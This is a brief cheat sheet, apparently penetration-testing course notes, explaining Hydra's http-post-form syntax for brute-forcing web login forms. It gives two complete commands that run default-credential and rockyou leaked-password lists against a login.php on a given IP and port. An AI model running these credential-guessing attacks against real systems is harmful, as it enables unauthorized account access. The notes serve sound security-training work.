HTTP Forms

Syntax

/login.php:user=^USER^&pass=^PASS^:incorrect

/login.php:[user parameter]=^USER^&[password parameter]=^PASS^:[FAIL/SUCCESS]=[success/failed string]

Type	Boolean Value	Flag
Fail	FALSE	F=html_content
Success	TRUE	S=html_content

"/login.php:[user parameter]=^USER^&[password parameter]=^PASS^:F=<form name='login'"

Sample Usage

Combolist

$ hydra -C /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 178.35.49.134 -s 32901 http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"

Not Combolist

$ hydra -l admin -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -f 178.35.49.134 -s 32901 http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"